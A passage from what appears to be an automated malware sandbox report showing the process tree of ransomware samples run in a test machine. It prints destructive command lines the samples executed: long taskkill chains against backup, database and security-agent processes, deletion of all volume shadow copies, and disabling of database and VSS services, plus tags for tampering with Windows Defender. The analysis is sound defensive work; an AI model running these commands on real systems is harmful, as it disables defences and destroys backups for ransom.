ReplicaReplicatorAgent.exe /F & @taskkill /IM ASMCUSvc.exe /F & @taskkill /IM OcsAppServerHost.exe /F & @taskkill /IM RtcCdr.exe /F & @taskkill /IM IMMCUSvc.exe /F & @taskkill /IM DataMCUSvc.exe /F & @taskkill /IM MeetingMCUSvc.exe /F & @taskkill /IM QmsSvc.exe /F & @taskkill /IM RTCSrv.exe /F & @taskkill /IM pnopagw.exe /F & @taskkill /IM NscAuth.exe /F & @taskkill /IM Microsoft.ActiveDirectory.WebServices.exe /F & @taskkill /IM DistributedCacheService.exe /F & @taskkill /IM c2wtshost.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Calculation.exe /F & @taskkill /IM schedengine.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Eventing.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Queuing.exe /F & @taskkill /IM WSSADMIN.EXE /F & @taskkill /IM hostcontrollerservice.exe /F & @taskkill /IM noderunner.exe /F & @taskkill /IM OWSTIMER.EXE /F & @taskkill /IM wsstracing.exe /F & @taskkill /IM mssearch.exe /F & @taskkill /IM MySQLInstallerConsole.exe /F & @taskkill /IM EXCEL.EXE /F & @taskkill /IM consent.exe /F & @taskkill /IM RtkAudioService64.exe /F & @taskkill /IM RAVBg64.exe /F & @taskkill /IM FNPLicensingService64.exe /F & @taskkill /IM VisualSVNServer.exe /F & @taskkill /IM MotionBoard57.exe /F & @taskkill /IM MotionBoardRCService57.exe /F & @taskkill /IM LPManService.exe /F & @taskkill /IM RaRegistry.exe /F & @taskkill /IM RaAutoInstSrv.exe /F & @taskkill /IM RtHDVCpl.exe /F & @taskkill /IM DefenderDaemon.exe /F & @taskkill /IM BestSyncApp.exe /F & @taskkill /IM ApUI.exe /F & @taskkill /IM AutoUpdate.exe /F & @taskkill /IM LPManNotifier.exe /F & @taskkill /IM FieldAnalyst.exe /F & @taskkill /IM TimingGenerate.exe /F & @taskkill /IM Detector.exe /F & @taskkill /IM Estimator.exe /F & @taskkill /IM FA_Logwriter.exe /F & @taskkill /IM TrackingSrv.exe /F & @taskkill /IM cbInterface.exe /F & @taskkill /IM EnterprisePortal.exe /F & @taskkill /IM ccbService.exe /F & @taskkill /IM monitor.exe /F & @taskkill /IM U8DispatchService.exe /F & @taskkill /IM dbsrv16.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM KICManager.exe /F & @taskkill /IM KICMain.exe /F & @taskkill /IM ServerManagerLauncher.exe /F & @taskkill /IM TbossGate.exe /F & @taskkill /IM iusb3mon.exe /F & @taskkill /IM MgrEnvSvc.exe /F & @taskkill /IM Mysoft.Config.WindowsService.exe /F & @taskkill /IM Mysoft.UpgradeService.UpdateService.exe /F & @taskkill /IM hasplms.exe /F & @taskkill /IM Mysoft.Setup.InstallService.exe /F & @taskkill /IM Mysoft.UpgradeService.Dispatcher.exe /F & @taskkill /IM Mysoft.DataCenterService.WindowsHost.exe /F & @taskkill /IM Mysoft.DataCenterService.DataCleaning.exe /F & @taskkill /IM Mysoft.DataCenterService.DataTracking.exe /F & @taskkill /IM Mysoft.SchedulingService.WindowsHost.exe /F & @taskkill /IM ServiceMonitor.exe /F & @taskkill /IM Mysoft.SchedulingService.ExecuteEngine.exe /F & @taskkill /IM AgentX.exe /F & @taskkill /IM host.exe /F & @taskkill /IM AutoUpdate.exe /F & @taskkill /IM vsjitdebugger.exe /F"7⤵PID:5500
-
C:\Windows\system32\taskkill.exetaskkill /IM BackupExec.exe /F8⤵PID:3592
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Att.exe /F8⤵PID:6244
-
-
C:\Windows\system32\taskkill.exetaskkill /IM mdm.exe /F8⤵PID:5812
-
-
C:\Windows\system32\taskkill.exetaskkill /IM BackupExecManagementService.exe /F8⤵PID:2608
-
-
C:\Windows\system32\taskkill.exetaskkill /IM bengine.exe /F8⤵PID:5552
-
-
C:\Windows\system32\taskkill.exetaskkill /IM benetns.exe /F8⤵PID:5384
-
-
C:\Windows\system32\taskkill.exetaskkill /IM beserver.exe /F8⤵PID:5252
-
-
C:\Windows\system32\taskkill.exetaskkill /IM pvlsvr.exe /F8⤵PID:6492
-
-
C:\Windows\system32\taskkill.exetaskkill /IM bedbg.exe /F8⤵PID:3500
-
-
C:\Windows\system32\taskkill.exetaskkill /IM beremote.exe /F8⤵PID:6212
-
-
C:\Windows\system32\taskkill.exetaskkill /IM beremote.exe /F8⤵PID:2320
-
-
C:\Windows\system32\taskkill.exetaskkill /IM beremote.exe /F8⤵
- Kills process with taskkill
PID:3200
-
-
C:\Windows\system32\taskkill.exetaskkill /IM beremote.exe /F8⤵PID:6500
-
-
C:\Windows\system32\taskkill.exetaskkill /IM RemoteAssistProcess.exe /F8⤵PID:6864
-
-
C:\Windows\system32\taskkill.exetaskkill /IM BarMoniService.exe /F8⤵PID:5180
-
-
C:\Windows\system32\taskkill.exetaskkill /IM GoodGameSrv.exe /F8⤵PID:5040
-
-
C:\Windows\system32\taskkill.exetaskkill /IM BarCMService.exe /F8⤵PID:6780
-
-
C:\Windows\system32\taskkill.exetaskkill /IM TsService.exe /F8⤵PID:1480
-
-
C:\Windows\system32\taskkill.exetaskkill /IM GoodGame.exe /F8⤵PID:5476
-
-
C:\Windows\system32\taskkill.exetaskkill /IM BarServerView.exe /F8⤵PID:1304
-
-
C:\Windows\system32\taskkill.exetaskkill /IM IcafeServicesTray.exe /F8⤵
- Kills process with taskkill
PID:6420
-
-
C:\Windows\system32\taskkill.exetaskkill /IM BsAgent_0.exe /F8⤵PID:6052
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ControlServer.exe /F8⤵PID:6196
-
-
C:\Windows\system32\taskkill.exetaskkill /IM DisklessServer.exe /F8⤵PID:3500
-
-
C:\Windows\system32\taskkill.exetaskkill /IM DumpServer.exe /F8⤵PID:7796
-
-
C:\Windows\system32\taskkill.exetaskkill /IM NetDiskServer.exe /F8⤵PID:7824
-
-
C:\Windows\system32\taskkill.exetaskkill /IM PersonUDisk.exe /F8⤵PID:4752
-
-
C:\Windows\system32\taskkill.exetaskkill /IM service_agent.exe /F8⤵PID:5228
-
-
C:\Windows\system32\taskkill.exetaskkill /IM SoftMemory.exe /F8⤵PID:7280
-
-
C:\Windows\system32\taskkill.exetaskkill /IM BarServer.exe /F8⤵PID:9752
-
-
C:\Windows\system32\taskkill.exetaskkill /IM RtkNGUI64.exe /F8⤵PID:8892
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Serv-U-Tray.exe /F8⤵PID:8980
-
-
C:\Windows\system32\taskkill.exetaskkill /IM QQPCSoftTrayTips.exe /F8⤵PID:8456
-
-
C:\Windows\system32\taskkill.exetaskkill /IM SohuNews.exe /F8⤵PID:3236
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Serv-U.exe /F8⤵PID:8812
-
-
C:\Windows\system32\taskkill.exetaskkill /IM QQPCRTP.exe /F8⤵PID:7160
-
-
C:\Windows\system32\taskkill.exetaskkill /IM EasyFZS.exe /F8⤵PID:9892
-
-
C:\Windows\system32\taskkill.exetaskkill /IM HaoYiShi.exe /F8⤵PID:9688
-
-
C:\Windows\system32\taskkill.exetaskkill /IM HysMySQL.exe /F8⤵PID:8540
-
-
C:\Windows\system32\taskkill.exetaskkill /IM wtautoreg.exe /F8⤵PID:5344
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ispiritPro.exe /F8⤵PID:5848
-
-
C:\Windows\system32\taskkill.exetaskkill /IM CAService.exe /F8⤵PID:6096
-
-
C:\Windows\system32\taskkill.exetaskkill /IM XAssistant.exe /F8⤵PID:8460
-
-
C:\Windows\system32\taskkill.exetaskkill /IM TrustCA.exe /F8⤵PID:7892
-
-
C:\Windows\system32\taskkill.exetaskkill /IM GEUU20003.exe /F8⤵PID:8160
-
-
C:\Windows\system32\taskkill.exetaskkill /IM CertMgr.exe /F8⤵PID:8124
-
-
C:\Windows\system32\taskkill.exetaskkill /IM eSafe_monitor.exe /F8⤵PID:8724
-
-
C:\Windows\system32\taskkill.exetaskkill /IM MainExecute.exe /F8⤵PID:5920
-
-
C:\Windows\system32\taskkill.exetaskkill /IM FastInvoice.exe /F8⤵PID:8480
-
-
C:\Windows\system32\taskkill.exetaskkill /IM SoftMgrLite.exe /F8⤵PID:4232
-
-
C:\Windows\system32\taskkill.exetaskkill /IM sesvc.exe /F8⤵PID:7104
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ScanFileServer.exe /F8⤵PID:2028
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Nuoadehgcgcd.exe /F8⤵PID:1916
-
-
C:\Windows\system32\taskkill.exetaskkill /IM OpenFastAssist.exe /F8⤵PID:2072
-
-
C:\Windows\system32\taskkill.exetaskkill /IM FastInvoiceAssist.exe /F8⤵PID:6956
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Nuoadfaggcje.exe /F8⤵PID:9636
-
-
C:\Windows\system32\taskkill.exetaskkill /IM OfficeUpdate.exe /F8⤵PID:9376
-
-
C:\Windows\system32\taskkill.exetaskkill /IM atkexComSvc.exe /F8⤵
- Kills process with taskkill
PID:3208
-
-
C:\Windows\system32\taskkill.exetaskkill /IM FileTransferAgent.exe /F8⤵PID:7704
-
-
C:\Windows\system32\taskkill.exetaskkill /IM MasterReplicatorAgent.exe /F8⤵PID:8740
-
-
C:\Windows\system32\taskkill.exetaskkill /IM CrmAsyncService.exe /F8⤵PID:3628
-
-
C:\Windows\system32\taskkill.exetaskkill /IM CrmAsyncService.exe /F8⤵PID:10012
-
-
C:\Windows\system32\taskkill.exetaskkill /IM CrmUnzipService.exe /F8⤵PID:8932
-
-
C:\Windows\system32\taskkill.exetaskkill /IM NscAuthService.exe /F8⤵PID:228
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ReplicaReplicatorAgent.exe /F8⤵PID:9572
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ASMCUSvc.exe /F8⤵PID:300
-
-
C:\Windows\system32\taskkill.exetaskkill /IM OcsAppServerHost.exe /F8⤵PID:7784
-
-
C:\Windows\system32\taskkill.exetaskkill /IM RtcCdr.exe /F8⤵PID:5240
-
-
C:\Windows\system32\taskkill.exetaskkill /IM IMMCUSvc.exe /F8⤵PID:9580
-
-
C:\Windows\system32\taskkill.exetaskkill /IM DataMCUSvc.exe /F8⤵PID:728
-
-
C:\Windows\system32\taskkill.exetaskkill /IM MeetingMCUSvc.exe /F8⤵PID:6028
-
-
C:\Windows\system32\taskkill.exetaskkill /IM QmsSvc.exe /F8⤵PID:3512
-
-
C:\Windows\system32\taskkill.exetaskkill /IM RTCSrv.exe /F8⤵PID:5856
-
-
C:\Windows\system32\taskkill.exetaskkill /IM pnopagw.exe /F8⤵PID:8664
-
-
C:\Windows\system32\taskkill.exetaskkill /IM NscAuth.exe /F8⤵PID:9060
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Microsoft.ActiveDirectory.WebServices.exe /F8⤵PID:7648
-
-
C:\Windows\system32\taskkill.exetaskkill /IM DistributedCacheService.exe /F8⤵PID:9836
-
-
C:\Windows\system32\taskkill.exetaskkill /IM c2wtshost.exe /F8⤵PID:6924
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Microsoft.Office.Project.Server.Calculation.exe /F8⤵
- Kills process with taskkill
PID:9304
-
-
C:\Windows\system32\taskkill.exetaskkill /IM schedengine.exe /F8⤵PID:7368
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Microsoft.Office.Project.Server.Eventing.exe /F8⤵PID:7980
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Microsoft.Office.Project.Server.Queuing.exe /F8⤵PID:3132
-
-
C:\Windows\system32\taskkill.exetaskkill /IM WSSADMIN.EXE /F8⤵PID:1956
-
-
C:\Windows\system32\taskkill.exetaskkill /IM hostcontrollerservice.exe /F8⤵PID:8640
-
-
-
C:\Windows\system32\cmd.execmd /c "color e & @taskkill /IM VBoxSDS.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM TeamViewer_Service.exe /F & @taskkill /IM TeamViewer.exe /F & @taskkill /IM CasLicenceServer.exe /F & @taskkill /IM tv_w32.exe /F & @taskkill /IM tv_x64.exe /F & @taskkill /IM rdm.exe /F & @taskkill /IM SecureCRT.exe /F & @taskkill /IM SecureCRTPortable.exe /F & @taskkill /IM VirtualBox.exe /F & @taskkill /IM VBoxSVC.exe /F & @taskkill /IM VirtualBoxVM.exe /F & @taskkill /IM abs_deployer.exe /F & @taskkill /IM edr_monitor.exe /F & @taskkill /IM sfupdatemgr.exe /F & @taskkill /IM ipc_proxy.exe /F & @taskkill /IM edr_agent.exe /F & @taskkill /IM edr_sec_plan.exe /F & @taskkill /IM sfavsvc.exe /F & @taskkill /IM DataShareBox.ShareBoxMonitorService.exe /F & @taskkill /IM DataShareBox.ShareBoxService.exe /F & @taskkill /IM Jointsky.CloudExchangeService.exe /F & @taskkill /IM Jointsky.CloudExchange.NodeService.ein /F & @taskkill /IM perl.exe /F & @taskkill /IM java.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM TsServer.exe /F & @taskkill /IM AppMain.exe /F & @taskkill /IM easservice.exe /F & @taskkill /IM Kingdee6.1.exe /F & @taskkill /IM QyKernel.exe /F & @taskkill /IM QyFragment.exe /F & @taskkill /IM UserClient.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM ComputerZTray.exe /F & @taskkill /IM ComputerZService.exe /F & @taskkill /IM ClearCache.exe /F & @taskkill /IM ProLiantMonitor.exe /F & @taskkill /IM ChsIME.exe /F & @taskkill /IM bugreport.exe /F & @taskkill /IM GNWebServer.exe /F & @taskkill /IM UI0Detect.exe /F & @taskkill /IM GNCore.exe /F & @taskkill /IM gnwayDDNS.exe /F & @taskkill /IM GNWebHelper.exe /F & @taskkill /IM php-cgi.exe /F & @taskkill /IM ESLUSBService.exe /F & @taskkill /IM CQA.exe /F & @taskkill /IM Kekcoek.pif /F & @taskkill /IM Tinuknx.exe /F & @taskkill /IM servers.exe /F & @taskkill /IM ping.exe /F & @taskkill /IM TianHeng.exe /F & @taskkill /IM K3MobileService.exe /F & @taskkill /IM VSSVC.exe /F & @taskkill /IM Xshell.exe /F & @taskkill /IM XshellCore.exe /F & @taskkill /IM FNPLicensingService.exe /F & @taskkill /IM XYNTService.exe /F & @taskkill /IM U8DispatchService.exe /F & @taskkill /IM EISService.exe /F & @taskkill /IM UFSoft.U8.Framework.EncryptManager.exe /F & @taskkill /IM yonyou.u8.gc.taskmanager.servicebus.exe /F & @taskkill /IM U8KeyManagePool.exe /F & @taskkill /IM U8MPool.exe /F & @taskkill /IM U8SCMPool.exe /F & @taskkill /IM UFIDA.U8.Report.SLReportService.exe /F & @taskkill /IM U8TaskService.exe /F & @taskkill /IM U8TaskWorker.exe /F & @taskkill /IM U8WebPool.exe /F & @taskkill /IM U8AllAuthServer.exe /F & @taskkill /IM UFIDA.U8.UAP.ReportService.exe /F & @taskkill /IM UFIDA.U8.ECE.UTU.Services.exe /F & @taskkill /IM U8WorkerService.exe /F & @taskkill /IM UFIDA.U8.ECE.UTU.exe /F & @taskkill /IM ShellStub.exe /F & @taskkill /IM U8UpLoadTask.exe /F & @taskkill /IM UfSysHostingService.exe /F & @taskkill /IM UFIDA.UBF.SystemManage.ApplicationService.exe /F & @taskkill /IM UFIDA.U9.CS.Collaboration.MailService.exe /F & @taskkill /IM NotificationService.exe /F & @taskkill /IM UBFdevenv.exe /F & @taskkill /IM UFIDA.U9.SystemManage.SystemManagerClient.exe /F & @taskkill /IM mongod.exe /F & @taskkill /IM SpusCss.exe /F & @taskkill /IM UUDesktop.exe /F & @taskkill /IM KDHRServices.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.BkgSvcHost.exe /F & @taskkill /IM Kingdee.K3.HR.Server.exe /F & @taskkill /IM Kingdee.K3.Mobile.Servics.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.KDSvrMgrHost.exe /F & @taskkill /IM KDSvrMgrService.exe /F & @taskkill /IM pdfServer.exe /F & @taskkill /IM pdfspeedup.exe /F & @taskkill /IM SufAppServer.exe /F & @taskkill /IM tomcat5.exe /F & @taskkill /IM Kingdee.K3.Mobile.LightPushService.exe /F & @taskkill /IM iMTSSvcMgr.exe /F & @taskkill /IM kdmain.exe /F & @taskkill /IM KDActMGr.exe /F & @taskkill /IM Kingdee.DeskTool.exe /F & @taskkill /IM K3ServiceUpdater.exe /F & @taskkill /IM Aua.exe /F & @taskkill /IM iNethinkSQLBackup.exe /F & @taskkill /IM auaJW.exe /F & @taskkill /IM Scheduler.exe /F & @taskkill /IM bschJW.exe /F & @taskkill /IM SystemTray64.exe /F & @taskkill /IM OfficeDaemon.exe /F & @taskkill /IM OfficeIndex.exe /F & @taskkill /IM OfficeIm.exe /F & @taskkill /IM iNethinkSQLBackupConsole.exe /F & @taskkill /IM OfficeMail.exe /F & @taskkill /IM OfficeTask.exe /F & @taskkill /IM OfficePOP3.exe /F & @taskkill /IM apache.exe /F & @taskkill /IM GnHostService.exe /F /T & @taskkill /IM HwUVPUpgrade.exe /F /T & @taskkill /IM "Kingdee.KIS.UESystemSer.exe" /F /T & @taskkill /IM uvpmonitor.exe /F /T & @taskkill /IM UVPUpgradeService.exe /F /T & @taskkill /IM KDdataUpdate.exe /F /T & @taskkill /IM Portal.exe /F /T & @taskkill /IM U8SMSSrv.exe /F /T & @taskkill /IM "Ufida.T.SM.PublishService.exe" /F /T & @taskkill /IM lta8.exe /F /T & @taskkill /IM UfSvrMgr.exe /F /T & @taskkill /IM AutoUpdateService.exe /F /T & @taskkill /IM MOM.exe /F /T"7⤵
- System Network Configuration Discovery: Internet Connection Discovery
PID:5760 -
C:\Windows\system32\taskkill.exetaskkill /IM VBoxSDS.exe /F8⤵PID:5748
-
-
C:\Windows\system32\taskkill.exetaskkill /IM mysqld.exe /F8⤵PID:1212
-
-
C:\Windows\system32\taskkill.exetaskkill /IM TeamViewer_Service.exe /F8⤵PID:4928
-
-
C:\Windows\system32\taskkill.exetaskkill /IM TeamViewer.exe /F8⤵
- Kills process with taskkill
PID:6952
-
-
C:\Windows\system32\taskkill.exetaskkill /IM CasLicenceServer.exe /F8⤵PID:5380
-
-
C:\Windows\system32\taskkill.exetaskkill /IM tv_w32.exe /F8⤵PID:6120
-
-
C:\Windows\system32\taskkill.exetaskkill /IM tv_x64.exe /F8⤵PID:6876
-
-
C:\Windows\system32\taskkill.exetaskkill /IM rdm.exe /F8⤵PID:1888
-
-
C:\Windows\system32\taskkill.exetaskkill /IM SecureCRT.exe /F8⤵PID:1360
-
-
C:\Windows\system32\taskkill.exetaskkill /IM SecureCRTPortable.exe /F8⤵PID:5348
-
-
C:\Windows\system32\taskkill.exetaskkill /IM VirtualBox.exe /F8⤵PID:5668
-
-
C:\Windows\system32\taskkill.exetaskkill /IM VBoxSVC.exe /F8⤵PID:1772
-
-
C:\Windows\system32\taskkill.exetaskkill /IM VirtualBoxVM.exe /F8⤵PID:1112
-
-
C:\Windows\system32\taskkill.exetaskkill /IM abs_deployer.exe /F8⤵
- Kills process with taskkill
PID:7116
-
-
C:\Windows\system32\taskkill.exetaskkill /IM edr_monitor.exe /F8⤵PID:2028
-
-
C:\Windows\system32\taskkill.exetaskkill /IM sfupdatemgr.exe /F8⤵
- Kills process with taskkill
PID:5920
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ipc_proxy.exe /F8⤵
- Kills process with taskkill
PID:5812
-
-
C:\Windows\system32\taskkill.exetaskkill /IM edr_agent.exe /F8⤵PID:2844
-
-
C:\Windows\system32\taskkill.exetaskkill /IM edr_sec_plan.exe /F8⤵PID:6396
-
-
C:\Windows\system32\taskkill.exetaskkill /IM sfavsvc.exe /F8⤵
- Kills process with taskkill
PID:5080
-
-
C:\Windows\system32\taskkill.exetaskkill /IM DataShareBox.ShareBoxMonitorService.exe /F8⤵PID:4956
-
-
C:\Windows\system32\taskkill.exetaskkill /IM DataShareBox.ShareBoxService.exe /F8⤵PID:7320
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Jointsky.CloudExchangeService.exe /F8⤵PID:5132
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Jointsky.CloudExchange.NodeService.ein /F8⤵PID:5840
-
-
C:\Windows\system32\taskkill.exetaskkill /IM perl.exe /F8⤵
- Kills process with taskkill
PID:5996
-
-
C:\Windows\system32\taskkill.exetaskkill /IM java.exe /F8⤵
- Kills process with taskkill
PID:292
-
-
C:\Windows\system32\taskkill.exetaskkill /IM emagent.exe /F8⤵PID:5356
-
-
C:\Windows\system32\taskkill.exetaskkill /IM TsServer.exe /F8⤵PID:7440
-
-
C:\Windows\system32\taskkill.exetaskkill /IM AppMain.exe /F8⤵PID:8016
-
-
C:\Windows\system32\taskkill.exetaskkill /IM easservice.exe /F8⤵
- Kills process with taskkill
PID:8172
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Kingdee6.1.exe /F8⤵
- Kills process with taskkill
PID:2360
-
-
C:\Windows\system32\taskkill.exetaskkill /IM QyKernel.exe /F8⤵PID:5404
-
-
C:\Windows\system32\taskkill.exetaskkill /IM QyFragment.exe /F8⤵PID:5952
-
-
C:\Windows\system32\taskkill.exetaskkill /IM UserClient.exe /F8⤵PID:7144
-
-
C:\Windows\system32\taskkill.exetaskkill /IM GNCEFExternal.exe /F8⤵PID:5840
-
-
C:\Windows\system32\taskkill.exetaskkill /IM GNCEFExternal.exe /F8⤵PID:9436
-
-
C:\Windows\system32\taskkill.exetaskkill /IM GNCEFExternal.exe /F8⤵PID:6404
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ComputerZTray.exe /F8⤵PID:7184
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ComputerZService.exe /F8⤵PID:3524
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ClearCache.exe /F8⤵PID:5864
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ProLiantMonitor.exe /F8⤵PID:5836
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ChsIME.exe /F8⤵
- Kills process with taskkill
PID:8384
-
-
C:\Windows\system32\taskkill.exetaskkill /IM bugreport.exe /F8⤵PID:7004
-
-
C:\Windows\system32\taskkill.exetaskkill /IM GNWebServer.exe /F8⤵PID:7540
-
-
C:\Windows\system32\taskkill.exetaskkill /IM UI0Detect.exe /F8⤵PID:7876
-
-
C:\Windows\system32\taskkill.exetaskkill /IM GNCore.exe /F8⤵PID:8752
-
-
C:\Windows\system32\taskkill.exetaskkill /IM gnwayDDNS.exe /F8⤵PID:8984
-
-
C:\Windows\system32\taskkill.exetaskkill /IM GNWebHelper.exe /F8⤵PID:9648
-
-
C:\Windows\system32\taskkill.exetaskkill /IM php-cgi.exe /F8⤵PID:5688
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ESLUSBService.exe /F8⤵PID:5196
-
-
C:\Windows\system32\taskkill.exetaskkill /IM CQA.exe /F8⤵PID:9060
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Kekcoek.pif /F8⤵PID:9468
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Tinuknx.exe /F8⤵PID:7304
-
-
C:\Windows\system32\taskkill.exetaskkill /IM servers.exe /F8⤵
- Kills process with taskkill
PID:7404
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ping.exe /F8⤵
- Kills process with taskkill
PID:5464
-
-
C:\Windows\system32\taskkill.exetaskkill /IM TianHeng.exe /F8⤵PID:8012
-
-
C:\Windows\system32\taskkill.exetaskkill /IM K3MobileService.exe /F8⤵PID:9568
-
-
C:\Windows\system32\taskkill.exetaskkill /IM VSSVC.exe /F8⤵PID:9960
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Xshell.exe /F8⤵PID:8908
-
-
C:\Windows\system32\taskkill.exetaskkill /IM XshellCore.exe /F8⤵PID:5628
-
-
C:\Windows\system32\taskkill.exetaskkill /IM FNPLicensingService.exe /F8⤵PID:3164
-
-
C:\Windows\system32\taskkill.exetaskkill /IM XYNTService.exe /F8⤵PID:7300
-
-
C:\Windows\system32\taskkill.exetaskkill /IM U8DispatchService.exe /F8⤵PID:6832
-
-
C:\Windows\system32\taskkill.exetaskkill /IM EISService.exe /F8⤵PID:620
-
-
C:\Windows\system32\taskkill.exetaskkill /IM UFSoft.U8.Framework.EncryptManager.exe /F8⤵PID:4652
-
-
C:\Windows\system32\taskkill.exetaskkill /IM yonyou.u8.gc.taskmanager.servicebus.exe /F8⤵PID:2624
-
-
C:\Windows\system32\taskkill.exetaskkill /IM U8KeyManagePool.exe /F8⤵
- Kills process with taskkill
PID:5572
-
-
C:\Windows\system32\taskkill.exetaskkill /IM U8MPool.exe /F8⤵PID:6240
-
-
C:\Windows\system32\taskkill.exetaskkill /IM U8SCMPool.exe /F8⤵PID:7184
-
-
C:\Windows\system32\taskkill.exetaskkill /IM UFIDA.U8.Report.SLReportService.exe /F8⤵PID:7836
-
-
C:\Windows\system32\taskkill.exetaskkill /IM U8TaskService.exe /F8⤵
- Kills process with taskkill
PID:5864
-
-
C:\Windows\system32\taskkill.exetaskkill /IM U8TaskWorker.exe /F8⤵PID:9768
-
-
C:\Windows\system32\taskkill.exetaskkill /IM U8WebPool.exe /F8⤵PID:6872
-
-
C:\Windows\system32\taskkill.exetaskkill /IM U8AllAuthServer.exe /F8⤵PID:9844
-
-
C:\Windows\system32\taskkill.exetaskkill /IM UFIDA.U8.UAP.ReportService.exe /F8⤵PID:7060
-
-
C:\Windows\system32\taskkill.exetaskkill /IM UFIDA.U8.ECE.UTU.Services.exe /F8⤵PID:9856
-
-
C:\Windows\system32\taskkill.exetaskkill /IM U8WorkerService.exe /F8⤵PID:10204
-
-
C:\Windows\system32\taskkill.exetaskkill /IM UFIDA.U8.ECE.UTU.exe /F8⤵PID:9176
-
-
C:\Windows\system32\taskkill.exetaskkill /IM ShellStub.exe /F8⤵
- Kills process with taskkill
PID:2468
-
-
C:\Windows\system32\taskkill.exetaskkill /IM U8UpLoadTask.exe /F8⤵
- Kills process with taskkill
PID:6804
-
-
C:\Windows\system32\taskkill.exetaskkill /IM UfSysHostingService.exe /F8⤵
- Kills process with taskkill
PID:3076
-
-
C:\Windows\system32\taskkill.exetaskkill /IM UFIDA.UBF.SystemManage.ApplicationService.exe /F8⤵PID:7012
-
-
C:\Windows\system32\taskkill.exetaskkill /IM UFIDA.U9.CS.Collaboration.MailService.exe /F8⤵PID:5272
-
-
C:\Windows\system32\taskkill.exetaskkill /IM NotificationService.exe /F8⤵PID:2284
-
-
C:\Windows\system32\taskkill.exetaskkill /IM UBFdevenv.exe /F8⤵PID:7776
-
-
C:\Windows\system32\taskkill.exetaskkill /IM UFIDA.U9.SystemManage.SystemManagerClient.exe /F8⤵PID:9612
-
-
-
-
-
-
C:\Users\Admin\Desktop\00405\HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe"C:\Users\Admin\Desktop\00405\HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe"4⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Adds Run key to start application
- Drops desktop.ini file(s)
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
PID:4304 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c @echo off sc config browser sc config browser start=enabled vssadmin delete shadows /all /quiet sc stop vss sc config vss start=disabled sc stop MongoDB sc config MongoDB start=disabled sc stop SQLWriter sc config SQLWriter start=disabled sc stop MSSQLServerOLAPService sc config MSSQLServerOLAPService start=disabled sc stop MSSQLSERVER sc config MSSQLSERVER start=disabled sc stop MSSQL$SQLEXPRESS sc config MSSQL$SQLEXPRESS start=disabled sc stop ReportServer sc config ReportServer start=disabled sc stop OracleServiceORCL sc config OracleServiceORCL start=disabled sc stop OracleDBConsoleorcl sc config OracleDBConsoleorcl start=disabled sc stop OracleMTSRecoveryService sc config OracleMTSRecoveryService start=disabled sc stop OracleVssWriterORCL sc config OracleVssWriterORCL start=disabled sc stop MySQL sc config MySQL start=disabled5⤵
- System Location Discovery: System Language Discovery
PID:6636
-
-
-
-
C:\Users\Admin\Desktop\00405\HEUR-Trojan-Ransom.Win32.Blocker.gen-936c820fd6780e9edb880cffc274c944ceb189e8f10915eb333fa5898d4e50be.exeHEUR-Trojan-Ransom.Win32.Blocker.gen-936c820fd6780e9edb880cffc274c944ceb189e8f10915eb333fa5898d4e50be.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4844
-
-
C:\Users\Admin\Desktop\00405\HEUR-Trojan-Ransom.Win32.Crypren.gen-43929c8548157f399526e8318e42e34f78055b22bb4b3e6e83ab58f63d017f44.exeHEUR-Trojan-Ransom.Win32.Crypren.gen-43929c8548157f399526e8318e42e34f78055b22bb4b3e6e83ab58f63d017f44.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3172 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3172 -s 3964⤵
- Program crash
PID:5412
-
-
-
C:\Users\Admin\Desktop\00405\HEUR-Trojan-Ransom.Win32.Encoder.gen-685ebd61276b3e8c16e124f49e858c247f12dfe156bd0ac9e0c0762b6687920b.exeHEUR-Trojan-Ransom.Win32.Encoder.gen-685ebd61276b3e8c16e124f49e858c247f12dfe156bd0ac9e0c0762b6687920b.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4652 -
